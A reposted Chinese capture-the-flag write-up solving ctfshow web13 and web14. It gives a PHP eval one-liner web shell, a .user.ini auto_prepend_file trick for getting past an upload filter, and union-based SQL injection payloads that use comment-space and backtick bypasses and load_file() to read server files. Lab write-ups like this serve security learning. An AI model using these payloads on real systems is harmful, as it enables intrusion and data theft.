IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow web13-14 -> 正文阅读

[PHP知识库]ctfshow web13-14

web13

?文件上传的题

?想办法搞到源码 常见得到源码的方法 .bak .git .hg

这里使用.bak得到源码

?下载得到源码

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

这里限制文件大小小于等于24,文件名字长度小于等于9,后缀名长度小于等于3,并且后缀和名字都不能包含php

正常一句话木马的大小超过了24于是构建<?php eval($_POST['x']); 保存为1.txt

?

?上传1.txt

php.ini是php的核心配置文件,在 PHP 启动时被读取,那么web目录的其他ini文件也是可以被php识别

PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。

在配置文件php.ini中有两个选项auto_prepend_file和auto_append_file。通过这两个选项来设置页眉和脚注,可以保证它们在每个页面的前后被载入
我们在.user.ini中输入auto_prepend_file =1.txt,这样在该目录下的所有文件都会包含1.txt的内容

?上传.user.ini

?使用蚁剑连接

这里可能蚁剑会无法正常连接可能是后台设置了时间如果不能连接可以等一下

连接后发现没有权限

直接在页面构建

/?x=print_r(glob("*"));

对于这个可以看ctfshow web10-12_许允er的博客-CSDN博客中的web12有解释

?查询得到903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php

构建

/?x=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

?得到flag值

web14

?看到一部分的代码

开始尝试?c=

?得到?c=3时退出循环

?进入发现为sql注入题

<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Qeury Page</title>

<link rel="stylesheet" type="text/css" href="css/style.css">

<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/vector.js"></script>

</head>
<body>

<div id="container">
	<div id="output">
		<div class="containerT">
			<h1>查询</h1>
			<form class="form" id="entry_form" method="get" action="">
				<input type="text" placeholder="1" id="entry_name" name='query' value="1">
				<button type="sbmit" id="entry_btn">确定</button>
				<div id="prompt" class="prompt"></div>
			</form>
		</div>
	</div>
</div>

<script type="text/javascript">
    $(function(){
        Victor("container", "output");   //登录背景函数
        $("#entry_name").focus();
        $(document).keydown(function(event){
            if(event.keyCode==13){
                $("#entry_btn").click();
            }
        });
    });
</script>
<div style="text-align:center;">
</div>
<!--
	if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
		die('@A@');
	}
-->
</body>
</html>

<script>alert('admin')</script>

if(preg_match('if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){

发现过滤了

/information_schema\.tables|information_schema\.columns|linestring| |polygon/is'

使用Query

Query是一个查询参数类

构建?query=1/**/order/**/by/**/1

?当输入order by 1时才不显示错误,所以1为回显位置

构建?query=-1/**/union/**/select/**/database()

?得到web这个库

在这里介绍一种绕过的方法——反引号
反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号

?query=-1/**/union/**/select/**/group_concat(table_namae)/**/from/**/information_schema.`table`/**/where/**/table_schema=database()

?得到content这个表

构建以下语句查字段

?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'

?构建语句爆值

?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content

?没有得到flag但发现提示tell you a secret,secert has a secret…

使用load_file()函数

load_file()读取本地文件的函数

构建?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

?然后查看源码

?发现flag值在('/real_flag_is_here')

构建?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

?然后查看源码得到flag值

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-12-14 15:43:57  更:2021-12-14 15:44:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 14:58:02-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码